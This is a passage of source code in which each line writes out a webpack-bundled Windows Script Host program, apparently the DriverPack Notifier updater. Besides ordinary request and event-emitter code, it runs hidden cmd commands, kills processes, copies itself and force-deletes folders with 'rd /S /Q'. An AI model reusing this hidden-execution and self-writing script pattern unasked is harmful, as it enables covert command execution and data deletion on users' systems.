file.WriteLine(" var temp = _shell.WshShell.Exec(\"rundll32
kernel32,Sleep\");");
file.WriteLine(" pid = (0, _wmi.getWMIObjects)
([ \"ParentProcessId\" ], \"Win32_Process\", 'Handle = \"' + temp.ProcessId + '\"')
[0].ParentProcessId;");
file.WriteLine(" temp.Terminate();");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" return pid;");
file.WriteLine(" }), waitForPID = (exports.killByPID = function(pid) {");
file.WriteLine(" var childs = arguments.length > 1 && arguments[1] !==
undefined ? arguments[1] : !1, timeout = arguments.length > 2 && arguments[2] !==
undefined ? arguments[2] : 0;");
file.WriteLine(" setTimeout(function() {");
file.WriteLine(" var flags = [ \"/f\" ];");
file.WriteLine(" if (childs) flags.push(\"/t\");");
file.WriteLine(" _shell.WshShell.Run('cmd /c \"taskkill ' +
flags.join(\" \") + \" /pid \" + pid + '\"', 0, !0);");
file.WriteLine(" }, timeout);");
file.WriteLine(" }, exports.setProcessPriority = function() {");
file.WriteLine(" var priority = arguments.length > 0 && arguments[0] !==
undefined ? arguments[0] : 128;");
file.WriteLine(" try {");
file.WriteLine(" var pid = getMyPID(), colItems =
_wmi.objWMIService.ExecQuery(\"SELECT * FROM Win32_Process WHERE Handle = \" + pid,
\"WQL\");");
file.WriteLine(" new
Enumerator(colItems).item().SetPriority(priority);");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" }, exports.waitForPID = function(pid) {");
file.WriteLine(" var query = \"SELECT * FROM Win32_Process WHERE ProcessId =
\" + pid;");
file.WriteLine(" return new Promise(function(resolve) {");
file.WriteLine(" var intervId = setInterval(function() {");
file.WriteLine(" if (0 ===
_wmi.objWMIService.ExecQuery(query, \"WQL\").Count) {");
file.WriteLine(" clearInterval(intervId);");
file.WriteLine(" resolve();");
file.WriteLine(" }");
file.WriteLine(" }, 300);");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" exports.waitForProcesses = function(where) {");
file.WriteLine(" var promise = Promise.resolve();");
file.WriteLine(" (0, _wmi.getWMIObjects)
([ \"ProcessId\" ], \"Win32_Process\", where).forEach(function(_ref2) {");
file.WriteLine(" var ProcessId = _ref2.ProcessId;");
file.WriteLine(" promise = promise.then(function() {");
file.WriteLine(" return waitForPID(ProcessId);");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" return promise;");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" function Emitter(obj) {");
file.WriteLine(" if (obj) return mixin(obj);");
file.WriteLine(" }");
file.WriteLine(" function mixin(obj) {");
file.WriteLine(" for (var key in Emitter.prototype) obj[key] =
Emitter.prototype[key];");
file.WriteLine(" return obj;");
file.WriteLine(" }");
file.WriteLine(" if (!0) module.exports = Emitter;");
file.WriteLine(" Emitter.prototype.on = Emitter.prototype.addEventListener =
function(event, fn) {");
file.WriteLine(" this._callbacks = this._callbacks || {};");
file.WriteLine(" (this._callbacks[\"$\" + event] = this._callbacks[\"$\" +
event] || []).push(fn);");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Emitter.prototype.once = function(event, fn) {");
file.WriteLine(" function on() {");
file.WriteLine(" this.off(event, on);");
file.WriteLine(" fn.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" on.fn = fn;");
file.WriteLine(" this.on(event, on);");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Emitter.prototype.off = Emitter.prototype.removeListener =
Emitter.prototype.removeAllListeners = Emitter.prototype.removeEventListener =
function(event, fn) {");
file.WriteLine(" this._callbacks = this._callbacks || {};");
file.WriteLine(" if (0 == arguments.length) {");
file.WriteLine(" this._callbacks = {};");
file.WriteLine(" return this;");
file.WriteLine(" }");
file.WriteLine(" var callbacks = this._callbacks[\"$\" + event];");
file.WriteLine(" if (!callbacks) return this;");
file.WriteLine(" if (1 == arguments.length) {");
file.WriteLine(" delete this._callbacks[\"$\" + event];");
file.WriteLine(" return this;");
file.WriteLine(" }");
file.WriteLine(" for (var cb, i = 0; i < callbacks.length; i++) {");
file.WriteLine(" cb = callbacks[i];");
file.WriteLine(" if (cb === fn || cb.fn === fn) {");
file.WriteLine(" callbacks.splice(i, 1);");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Emitter.prototype.emit = function(event) {");
file.WriteLine(" this._callbacks = this._callbacks || {};");
file.WriteLine(" var args = [].slice.call(arguments, 1), callbacks =
this._callbacks[\"$\" + event];");
file.WriteLine(" if (callbacks) {");
file.WriteLine(" callbacks = callbacks.slice(0);");
file.WriteLine(" for (var i = 0, len = callbacks.length; i < len; ++i)
callbacks[i].apply(this, args);");
file.WriteLine(" }");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Emitter.prototype.listeners = function(event) {");
file.WriteLine(" this._callbacks = this._callbacks || {};");
file.WriteLine(" return this._callbacks[\"$\" + event] || [];");
file.WriteLine(" };");
file.WriteLine(" Emitter.prototype.hasListeners = function(event) {");
file.WriteLine(" return !!this.listeners(event).length;");
file.WriteLine(" };");
file.WriteLine("}, , , , , , , , , , , , , , , , , , , , , , , , , ,
function(module, exports, __webpack_require__) {");
file.WriteLine(" function isArrayLike(value) {");
file.WriteLine(" return null != value && isLength(getLength(value));");
file.WriteLine(" }");
file.WriteLine(" var getLength = __webpack_require__(443), isLength =
__webpack_require__(76);");
file.WriteLine(" module.exports = isArrayLike;");
file.WriteLine("}, function(module, exports) {");
file.WriteLine(" function isIndex(value, length) {");
file.WriteLine(" value = \"number\" == typeof value ||
reIsUint.test(value) ? +value : -1;");
file.WriteLine(" length = null == length ? MAX_SAFE_INTEGER : length;");
file.WriteLine(" return value > -1 && value % 1 == 0 && value < length;");
file.WriteLine(" }");
file.WriteLine(" var reIsUint = /^\\d+$/, MAX_SAFE_INTEGER =
9007199254740991;");
file.WriteLine(" module.exports = isIndex;");
file.WriteLine("}, function(module, exports) {");
file.WriteLine(" module.exports = function(arr, fn, initial) {");
file.WriteLine(" for (var idx = 0, len = arr.length, curr = 3 ==
arguments.length ? initial : arr[idx++]; idx < len; ) curr = fn.call(null, curr,
arr[idx], ++idx, arr);");
file.WriteLine(" return curr;");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" function noop() {}");
file.WriteLine(" function isHost(obj) {");
file.WriteLine(" switch ({}.toString.call(obj)) {");
file.WriteLine(" case \"[object File]\":");
file.WriteLine(" case \"[object Blob]\":");
file.WriteLine(" case \"[object FormData]\":");
file.WriteLine(" return !0;");
file.WriteLine("");
file.WriteLine(" default:");
file.WriteLine(" return !1;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" function isObject(obj) {");
file.WriteLine(" return obj === Object(obj);");
file.WriteLine(" }");
file.WriteLine(" function serialize(obj) {");
file.WriteLine(" if (!isObject(obj)) return obj;");
file.WriteLine(" var pairs = [];");
file.WriteLine(" for (var key in obj) if (null != obj[key])
pushEncodedKeyValuePair(pairs, key, obj[key]);");
file.WriteLine(" return pairs.join(\"&\");");
file.WriteLine(" }");
file.WriteLine(" function pushEncodedKeyValuePair(pairs, key, val) {");
file.WriteLine(" if (Array.isArray(val)) return val.forEach(function(v) {");
file.WriteLine(" pushEncodedKeyValuePair(pairs, key, v);");
file.WriteLine(" });");
file.WriteLine(" pairs.push(encodeURIComponent(key) + \"=\" +
encodeURIComponent(val));");
file.WriteLine(" }");
file.WriteLine(" function parseString(str) {");
file.WriteLine(" for (var parts, pair, obj = {}, pairs = str.split(\"&\"), i
= 0, len = pairs.length; i < len; ++i) {");
file.WriteLine(" pair = pairs[i];");
file.WriteLine(" parts = pair.split(\"=\");");
file.WriteLine(" obj[decodeURIComponent(parts[0])] =
decodeURIComponent(parts[1]);");
file.WriteLine(" }");
file.WriteLine(" return obj;");
file.WriteLine(" }");
file.WriteLine(" function parseHeader(str) {");
file.WriteLine(" var index, line, field, val, lines = str.split(/\\r?\\n/),
fields = {};");
file.WriteLine(" lines.pop();");
file.WriteLine(" for (var i = 0, len = lines.length; i < len; ++i) {");
file.WriteLine(" line = lines[i];");
file.WriteLine(" index = line.indexOf(\":\");");
file.WriteLine(" field = line.slice(0, index).toLowerCase();");
file.WriteLine(" val = trim(line.slice(index + 1));");
file.WriteLine(" fields[field] = val;");
file.WriteLine(" }");
file.WriteLine(" return fields;");
file.WriteLine(" }");
file.WriteLine(" function isJSON(mime) {");
file.WriteLine(" return /[\\/+]json\\b/.test(mime);");
file.WriteLine(" }");
file.WriteLine(" function type(str) {");
file.WriteLine(" return str.split(/ *; */).shift();");
file.WriteLine(" }");
file.WriteLine(" function params(str) {");
file.WriteLine(" return reduce(str.split(/ *; */), function(obj, str) {");
file.WriteLine(" var parts = str.split(/ *= */), key = parts.shift(),
val = parts.shift();");
file.WriteLine(" if (key && val) obj[key] = val;");
file.WriteLine(" return obj;");
file.WriteLine(" }, {});");
file.WriteLine(" }");
file.WriteLine(" function Response(req, options) {");
file.WriteLine(" options = options || {};");
file.WriteLine(" this.req = req;");
file.WriteLine(" this.xhr = this.req.xhr;");
file.WriteLine(" this.text = \"HEAD\" != this.req.method && (\"\" ===
this.xhr.responseType || \"text\" === this.xhr.responseType) || \"undefined\" ==
typeof this.xhr.responseType ? this.xhr.responseText : null;");
file.WriteLine(" this.statusText = this.req.xhr.statusText;");
file.WriteLine(" this.setStatusProperties(this.xhr.status);");
file.WriteLine(" this.header = this.headers =
parseHeader(this.xhr.getAllResponseHeaders());");
file.WriteLine(" this.header[\"content-type\"] =
this.xhr.getResponseHeader(\"content-type\");");
file.WriteLine(" this.setHeaderProperties(this.header);");
file.WriteLine(" this.body = \"HEAD\" != this.req.method ?
this.parseBody(this.text ? this.text : this.xhr.response) : null;");
file.WriteLine(" }");
file.WriteLine(" function Request(method, url) {");
file.WriteLine(" var self = this;");
file.WriteLine(" Emitter.call(this);");
file.WriteLine(" this._query = this._query || [];");
file.WriteLine(" this.method = method;");
file.WriteLine(" this.url = url;");
file.WriteLine(" this.header = {};");
file.WriteLine(" this._header = {};");
file.WriteLine(" this.on(\"end\", function() {");
file.WriteLine(" var err = null, res = null;");
file.WriteLine(" try {");
file.WriteLine(" res = new Response(self);");
file.WriteLine(" } catch (e) {");
file.WriteLine(" err = new Error(\"Parser is unable to parse the
response\");");
file.WriteLine(" err.parse = !0;");
file.WriteLine(" err.original = e;");
file.WriteLine(" err.rawResponse = self.xhr && self.xhr.responseText
? self.xhr.responseText : null;");
file.WriteLine(" return self.callback(err);");
file.WriteLine(" }");
file.WriteLine(" self.emit(\"response\", res);");
file.WriteLine(" if (err) return self.callback(err, res);");
file.WriteLine(" if (res.status >= 200 && res.status < 300) return
self.callback(err, res);");
file.WriteLine(" var new_err = new Error(res.statusText
|| \"Unsuccessful HTTP response\");");
file.WriteLine(" new_err.original = err;");
file.WriteLine(" new_err.response = res;");
file.WriteLine(" new_err.status = res.status;");
file.WriteLine(" self.callback(new_err, res);");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" function request(method, url) {");
file.WriteLine(" if (\"function\" == typeof url) return new Request(\"GET\",
method).end(url);");
file.WriteLine(" if (1 == arguments.length) return new Request(\"GET\",
method); else return new Request(method, url);");
file.WriteLine(" }");
file.WriteLine(" function del(url, fn) {");
file.WriteLine(" var req = request(\"DELETE\", url);");
file.WriteLine(" if (fn) req.end(fn);");
file.WriteLine(" return req;");
file.WriteLine(" }");
file.WriteLine(" var root, Emitter = __webpack_require__(139), reduce =
__webpack_require__(167);");
file.WriteLine(" if (\"undefined\" != typeof window) root = window; else if
(\"undefined\" != typeof self) root = self; else root = this;");
file.WriteLine(" request.getXHR = function() {");
file.WriteLine(" if (root.XMLHttpRequest && (!root.location || \"file:\" !=
root.location.protocol || !root.ActiveXObject)) return new XMLHttpRequest(); else
{");
file.WriteLine(" try {");
file.WriteLine(" return new ActiveXObject(\"Microsoft.XMLHTTP\");");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" try {");
file.WriteLine(" return new
ActiveXObject(\"Msxml2.XMLHTTP.6.0\");");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" try {");
file.WriteLine(" return new
ActiveXObject(\"Msxml2.XMLHTTP.3.0\");");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" try {");
file.WriteLine(" return new ActiveXObject(\"Msxml2.XMLHTTP\");");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" }");
file.WriteLine(" return !1;");
file.WriteLine(" };");
file.WriteLine(" var trim = \"\".trim ? function(s) {");
file.WriteLine(" return s.trim();");
file.WriteLine(" } : function(s) {");
file.WriteLine(" return s.replace(/(^\\s*|\\s*$)/g, \"\");");
file.WriteLine(" };");
file.WriteLine(" request.serializeObject = serialize;");
file.WriteLine(" request.parseString = parseString;");
file.WriteLine(" request.types = {");
file.WriteLine(" html: \"text/html\",");
file.WriteLine(" json: \"application/json\",");
file.WriteLine(" xml: \"application/xml\",");
file.WriteLine(" urlencoded: \"application/x-www-form-urlencoded\",");
file.WriteLine(" form: \"application/x-www-form-urlencoded\",");
file.WriteLine(" \"form-data\": \"application/x-www-form-urlencoded\"");
file.WriteLine(" };");
file.WriteLine(" request.serialize = {");
file.WriteLine(" \"application/x-www-form-urlencoded\": serialize,");
file.WriteLine(" \"application/json\": JSON.stringify");
file.WriteLine(" };");
file.WriteLine(" request.parse = {");
file.WriteLine(" \"application/x-www-form-urlencoded\": parseString,");
file.WriteLine(" \"application/json\": JSON.parse");
file.WriteLine(" };");
file.WriteLine(" Response.prototype.get = function(field) {");
file.WriteLine(" return this.header[field.toLowerCase()];");
file.WriteLine(" };");
file.WriteLine(" Response.prototype.setHeaderProperties = function(header) {");
file.WriteLine(" var ct = this.header[\"content-type\"] || \"\";");
file.WriteLine(" this.type = type(ct);");
file.WriteLine(" var obj = params(ct);");
file.WriteLine(" for (var key in obj) this[key] = obj[key];");
file.WriteLine(" };");
file.WriteLine(" Response.prototype.parseBody = function(str) {");
file.WriteLine(" var parse = request.parse[this.type];");
file.WriteLine(" return parse && str && (str.length || str instanceof
Object) ? parse(str) : null;");
file.WriteLine(" };");
file.WriteLine(" Response.prototype.setStatusProperties = function(status) {");
file.WriteLine(" if (1223 === status) status = 204;");
file.WriteLine(" var type = status / 100 | 0;");
file.WriteLine(" this.status = this.statusCode = status;");
file.WriteLine(" this.statusType = type;");
file.WriteLine(" this.info = 1 == type;");
file.WriteLine(" this.ok = 2 == type;");
file.WriteLine(" this.clientError = 4 == type;");
file.WriteLine(" this.serverError = 5 == type;");
file.WriteLine(" this.error = 4 == type || 5 == type ? this.toError() : !
1;");
file.WriteLine(" this.accepted = 202 == status;");
file.WriteLine(" this.noContent = 204 == status;");
file.WriteLine(" this.badRequest = 400 == status;");
file.WriteLine(" this.unauthorized = 401 == status;");
file.WriteLine(" this.notAcceptable = 406 == status;");
file.WriteLine(" this.notFound = 404 == status;");
file.WriteLine(" this.forbidden = 403 == status;");
file.WriteLine(" };");
file.WriteLine(" Response.prototype.toError = function() {");
file.WriteLine(" var req = this.req, method = req.method, url = req.url, msg
= \"cannot \" + method + \" \" + url + \" (\" + this.status + \")\", err = new
Error(msg);");
file.WriteLine(" err.status = this.status;");
file.WriteLine(" err.method = method;");
file.WriteLine(" err.url = url;");
file.WriteLine(" return err;");
file.WriteLine(" };");
file.WriteLine(" request.Response = Response;");
file.WriteLine(" Emitter(Request.prototype);");
file.WriteLine(" Request.prototype.use = function(fn) {");
file.WriteLine(" fn(this);");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.timeout = function(ms) {");
file.WriteLine(" this._timeout = ms;");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.clearTimeout = function() {");
file.WriteLine(" this._timeout = 0;");
file.WriteLine(" clearTimeout(this._timer);");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.abort = function() {");
file.WriteLine(" if (!this.aborted) {");
file.WriteLine(" this.aborted = !0;");
file.WriteLine(" this.xhr.abort();");
file.WriteLine(" this.clearTimeout();");
file.WriteLine(" this.emit(\"abort\");");
file.WriteLine(" return this;");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.set = function(field, val) {");
file.WriteLine(" if (isObject(field)) {");
file.WriteLine(" for (var key in field) this.set(key, field[key]);");
file.WriteLine(" return this;");
file.WriteLine(" }");
file.WriteLine(" this._header[field.toLowerCase()] = val;");
file.WriteLine(" this.header[field] = val;");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.unset = function(field) {");
file.WriteLine(" delete this._header[field.toLowerCase()];");
file.WriteLine(" delete this.header[field];");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.getHeader = function(field) {");
file.WriteLine(" return this._header[field.toLowerCase()];");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.type = function(type) {");
file.WriteLine(" this.set(\"Content-Type\", request.types[type] || type);");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.parse = function(fn) {");
file.WriteLine(" this._parser = fn;");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.accept = function(type) {");
file.WriteLine(" this.set(\"Accept\", request.types[type] || type);");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.auth = function(user, pass) {");
file.WriteLine(" var str = btoa(user + \":\" + pass);");
file.WriteLine(" this.set(\"Authorization\", \"Basic \" + str);");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.query = function(val) {");
file.WriteLine(" if (\"string\" != typeof val) val = serialize(val);");
file.WriteLine(" if (val) this._query.push(val);");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.field = function(name, val) {");
file.WriteLine(" if (!this._formData) this._formData = new
root.FormData();");
file.WriteLine(" this._formData.append(name, val);");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.attach = function(field, file, filename) {");
file.WriteLine(" if (!this._formData) this._formData = new
root.FormData();");
file.WriteLine(" this._formData.append(field, file, filename ||
file.name);");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.send = function(data) {");
file.WriteLine(" var obj = isObject(data), type = this.getHeader(\"Content-
Type\");");
file.WriteLine(" if (obj && isObject(this._data)) for (var key in data)
this._data[key] = data[key]; else if (\"string\" == typeof data) {");
file.WriteLine(" if (!type) this.type(\"form\");");
file.WriteLine(" type = this.getHeader(\"Content-Type\");");
file.WriteLine(" if (\"application/x-www-form-urlencoded\" == type)
this._data = this._data ? this._data + \"&\" + data : data; else this._data =
(this._data || \"\") + data;");
file.WriteLine(" } else this._data = data;");
file.WriteLine(" if (!obj || isHost(data)) return this;");
file.WriteLine(" if (!type) this.type(\"json\");");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.callback = function(err, res) {");
file.WriteLine(" var fn = this._callback;");
file.WriteLine(" this.clearTimeout();");
file.WriteLine(" fn(err, res);");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.crossDomainError = function() {");
file.WriteLine(" var err = new Error(\"Request has been
terminated\\nPossible causes: the network is offline, Origin is not allowed by
Access-Control-Allow-Origin, the page is being unloaded, etc.\");");
file.WriteLine(" err.crossDomain = !0;");
file.WriteLine(" err.status = this.status;");
file.WriteLine(" err.method = this.method;");
file.WriteLine(" err.url = this.url;");
file.WriteLine(" this.callback(err);");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.timeoutError = function() {");
file.WriteLine(" var timeout = this._timeout, err = new Error(\"timeout
of \" + timeout + \"ms exceeded\");");
file.WriteLine(" err.timeout = timeout;");
file.WriteLine(" this.callback(err);");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.withCredentials = function() {");
file.WriteLine(" this._withCredentials = !0;");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.end = function(fn) {");
file.WriteLine(" var self = this, xhr = this.xhr = request.getXHR(), query =
this._query.join(\"&\"), timeout = this._timeout, data = this._formData ||
this._data;");
file.WriteLine(" this._callback = fn || noop;");
file.WriteLine(" xhr.onreadystatechange = function() {");
file.WriteLine(" if (4 == xhr.readyState) {");
file.WriteLine(" var status;");
file.WriteLine(" try {");
file.WriteLine(" status = xhr.status;");
file.WriteLine(" } catch (e) {");
file.WriteLine(" status = 0;");
file.WriteLine(" }");
file.WriteLine(" if (0 == status) {");
file.WriteLine(" if (self.timedout) return
self.timeoutError();");
file.WriteLine(" if (self.aborted) return;");
file.WriteLine(" return self.crossDomainError();");
file.WriteLine(" }");
file.WriteLine(" self.emit(\"end\");");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" var handleProgress = function(e) {");
file.WriteLine(" if (e.total > 0) e.percent = e.loaded / e.total *
100;");
file.WriteLine(" e.direction = \"download\";");
file.WriteLine(" self.emit(\"progress\", e);");
file.WriteLine(" };");
file.WriteLine(" if (this.hasListeners(\"progress\")) xhr.onprogress =
handleProgress;");
file.WriteLine(" try {");
file.WriteLine(" if (xhr.upload && this.hasListeners(\"progress\"))
xhr.upload.onprogress = handleProgress;");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" if (timeout && !this._timer) this._timer =
setTimeout(function() {");
file.WriteLine(" self.timedout = !0;");
file.WriteLine(" self.abort();");
file.WriteLine(" }, timeout);");
file.WriteLine(" if (query) {");
file.WriteLine(" query = request.serializeObject(query);");
file.WriteLine(" this.url += ~this.url.indexOf(\"?\") ? \"&\" +
query : \"?\" + query;");
file.WriteLine(" }");
file.WriteLine(" xhr.open(this.method, this.url, !0);");
file.WriteLine(" if (this._withCredentials) xhr.withCredentials = !0;");
file.WriteLine(" if (\"GET\" != this.method && \"HEAD\" != this.method
&& \"string\" != typeof data && !isHost(data)) {");
file.WriteLine(" var contentType = this.getHeader(\"Content-Type\"),
serialize = this._parser || request.serialize[contentType ?
contentType.split(\";\")[0] : \"\"];");
file.WriteLine(" if (!serialize && isJSON(contentType)) serialize =
request.serialize[\"application/json\"];");
file.WriteLine(" if (serialize) data = serialize(data);");
file.WriteLine(" }");
file.WriteLine(" for (var field in this.header) if (null !=
this.header[field]) xhr.setRequestHeader(field, this.header[field]);");
file.WriteLine(" this.emit(\"request\", this);");
file.WriteLine(" xhr.send(void 0 !== data ? data : null);");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Request.prototype.then = function(fulfill, reject) {");
file.WriteLine(" return this.end(function(err, res) {");
file.WriteLine(" err ? reject(err) : fulfill(res);");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" request.Request = Request;");
file.WriteLine(" request.get = function(url, data, fn) {");
file.WriteLine(" var req = request(\"GET\", url);");
file.WriteLine(" if (\"function\" == typeof data) fn = data, data = null;");
file.WriteLine(" if (data) req.query(data);");
file.WriteLine(" if (fn) req.end(fn);");
file.WriteLine(" return req;");
file.WriteLine(" };");
file.WriteLine(" request.head = function(url, data, fn) {");
file.WriteLine(" var req = request(\"HEAD\", url);");
file.WriteLine(" if (\"function\" == typeof data) fn = data, data = null;");
file.WriteLine(" if (data) req.send(data);");
file.WriteLine(" if (fn) req.end(fn);");
file.WriteLine(" return req;");
file.WriteLine(" };");
file.WriteLine(" request.del = del;");
file.WriteLine(" request[\"delete\"] = del;");
file.WriteLine(" request.patch = function(url, data, fn) {");
file.WriteLine(" var req = request(\"PATCH\", url);");
file.WriteLine(" if (\"function\" == typeof data) fn = data, data = null;");
file.WriteLine(" if (data) req.send(data);");
file.WriteLine(" if (fn) req.end(fn);");
file.WriteLine(" return req;");
file.WriteLine(" };");
file.WriteLine(" request.post = function(url, data, fn) {");
file.WriteLine(" var req = request(\"POST\", url);");
file.WriteLine(" if (\"function\" == typeof data) fn = data, data = null;");
file.WriteLine(" if (data) req.send(data);");
file.WriteLine(" if (fn) req.end(fn);");
file.WriteLine(" return req;");
file.WriteLine(" };");
file.WriteLine(" request.put = function(url, data, fn) {");
file.WriteLine(" var req = request(\"PUT\", url);");
file.WriteLine(" if (\"function\" == typeof data) fn = data, data = null;");
file.WriteLine(" if (data) req.send(data);");
file.WriteLine(" if (fn) req.end(fn);");
file.WriteLine(" return req;");
file.WriteLine(" };");
file.WriteLine(" module.exports = request;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.startCommand = exports.goToUrl = exports.timeout =
exports.ParseArgs = undefined;");
file.WriteLine(" var _system = __webpack_require__(1), _utils =
__webpack_require__(44);");
file.WriteLine(" exports.ParseArgs = function(args) {");
file.WriteLine(" var key = null, res = {");
file.WriteLine(" _: []");
file.WriteLine(" };");
file.WriteLine(" args.forEach(function(arg) {");
file.WriteLine(" var m = arg.match(/^--(.+)/);");
file.WriteLine(" if (m) {");
file.WriteLine(" key = m[1];");
file.WriteLine(" res[key] = !0;");
file.WriteLine(" } else if (key) {");
file.WriteLine(" res[key] = arg;");
file.WriteLine(" key = null;");
file.WriteLine(" } else res._.push(arg);");
file.WriteLine(" });");
file.WriteLine(" return res;");
file.WriteLine(" }, exports.timeout = function(delay) {");
file.WriteLine(" return new Promise(function(resolve) {");
file.WriteLine(" setTimeout(resolve, delay);");
file.WriteLine(" });");
file.WriteLine(" }, exports.goToUrl = function(url) {");
file.WriteLine(" try {");
file.WriteLine(" var HKLM
= \"HKLM\\\\SOFTWARE\\\\Clients\\\\StartMenuInternet\\\\\", defBrowser = (0,
_system.RegRead)(\"HKCU\\\\SOFTWARE\\\\Clients\\\\StartMenuInternet\\\\\") || (0,
");
file.WriteLine(" _system.RegRead)(HKLM), cmd = (0, _system.RegRead)(HKLM
+ defBrowser + \"\\\\shell\\\\open\\\\command\\\\\");");
file.WriteLine(" if (cmd) {");
file.WriteLine(" cmd = cmd.replace(/\"/gi, \"\");");
file.WriteLine(" _system.WshShell.Run('\"' + cmd + '\" \"' + url +
'\"', 1, !1);");
file.WriteLine(" } else window.open(url);");
file.WriteLine(" } catch (e) {");
file.WriteLine(" _system.WshShell.Run(\"rundll32
url.dll,FileProtocolHandler \" + url, 1, !1);");
file.WriteLine(" }");
file.WriteLine(" return !1;");
file.WriteLine(" }, exports.startCommand = function(command) {");
file.WriteLine(" var wrappedCommand = (0, _utils.wrapInCmd)(command);");
file.WriteLine(" _system.WshShell.Run(wrappedCommand, 0, !1);");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.sendRequest = undefined;");
file.WriteLine(" var _system = __webpack_require__(1);");
file.WriteLine(" exports.sendRequest = function(url, callback) {");
file.WriteLine(" var req = (0, _system.getXMLHttp)();");
file.WriteLine(" if (req) {");
file.WriteLine(" req.open(\"GET\", url, !0);");
file.WriteLine(" req.onreadystatechange = function() {");
file.WriteLine(" if (4 === req.readyState) if (200 === req.status)
callback(req.responseText);");
file.WriteLine(" };");
file.WriteLine(" req.send();");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.getInstallationDate = exports.runFromNewPlace =
exports.updateApplicationFiles = exports.fixUninstallRegistryKey =
exports.copyAppFiles = exports.removeAppFolder = exports.isRunFromProgramFiles =
exports.isRunFromInstalled = undefined;");
file.WriteLine(" var _config = __webpack_require__(6), _system =
__webpack_require__(1), _paths = __webpack_require__(55), _fso =
__webpack_require__(78), isRunFromInstalled = exports.isRunFromInstalled =
function() {");
file.WriteLine(" return -1 !==
_system.WshShell.CurrentDirectory.indexOf(_paths.AppPathRoot);");
file.WriteLine(" }, updateApplicationFiles = (exports.isRunFromProgramFiles =
function() {");
file.WriteLine(" return -1 !==
_system.WshShell.CurrentDirectory.indexOf(_paths.ProgramFiles);");
file.WriteLine(" }, exports.removeAppFolder = function() {");
file.WriteLine(" var cmd = 'rd /S /Q \"' + _paths.AppPathRoot + '\" \"' +
_paths.AppPath + '\\\\bin\"';");
file.WriteLine(" _system.WshShell.CurrentDirectory = _paths.ProgramFiles;");
file.WriteLine(" _system.WshShell.Run(\"cmd /c \" + cmd, 0, !1);");
file.WriteLine(" _system.WshShell.Run(\"cmd /c ping 127.0.0.1 -n 5 && \" +
cmd, 0, !1);");
file.WriteLine(" _system.WshShell.Run('cmd /c del /S /Q /F \"' +
_paths.AppPath + '\\\\Icon.ico\" \"' + _paths.AppPath +
'\\\\DriverPackNotifier.exe\" \"' + _paths.AppPath + '\\\\Uninstall.exe\"', 0, !
1);");
file.WriteLine(" }, exports.copyAppFiles = function() {");
file.WriteLine(" if (!isRunFromInstalled()) {");
file.WriteLine(" _system.WshShell.Run('cmd /c rd /S /Q \"' +
_paths.AppPathRoot + '\"', 0, !0);");
file.WriteLine(" _system.fso.CreateFolder(_paths.AppPathRoot);");
file.WriteLine(" var copyFrom =
_system.WshShell.CurrentDirectory.replace(/notifier\\\\bin[\\s\\S]*/, \"\");");
file.WriteLine(" copyFrom += \"notifier\";");
file.WriteLine(" _system.WshShell.Run('xcopy \"' + copyFrom + '\" \"' +
_paths.AppPathRoot + '\\\\\" /S /E /Y /I', 0, !1);");
file.WriteLine(" }");
file.WriteLine(" }, exports.fixUninstallRegistryKey = function() {");
file.WriteLine(" try {");
file.WriteLine("
_system.WshShell.RegRead(\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersi
